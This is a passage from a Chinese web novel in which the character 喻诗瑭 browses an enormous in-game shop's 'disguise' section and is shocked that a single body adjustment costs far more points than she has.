即使看过严棕禾那一身花里胡哨的装扮,也知道这游戏商城里什么东西都卖,但当商城板块弹出来后,她还是被里面琳琅满目的商品震撼得目瞪口呆。 游戏商城里的商品分类细致到上百种,全部商品按照每页26样排列,叠加页数高达64万,属于霸总来了都不敢一口气说“全场我买单”的程度。 连翻几页,喻诗瑭感觉自己眼睛都花了,好在她想找的部分是被商城单独分类出来的,不至于真让她一页页找过去。 可当她点开写着“易容”的大分类,里面还有面容,妆容,发型,体型等各种小分类,看得她是一愣一愣的。 跟其他商品一样,在“易容”里,每调整一样参数,都要花费一定的积分,或是充值相等的金币,也就是说,要么肝积分,要么氪金帝。 她试着在“体型”里调整了一下手臂肌肉的强度,右下角立刻显示2000积分的待付款。 震惊地看了眼自己那可怜巴巴的224.8积分,喻诗瑭深吸一口气:好黑一家店!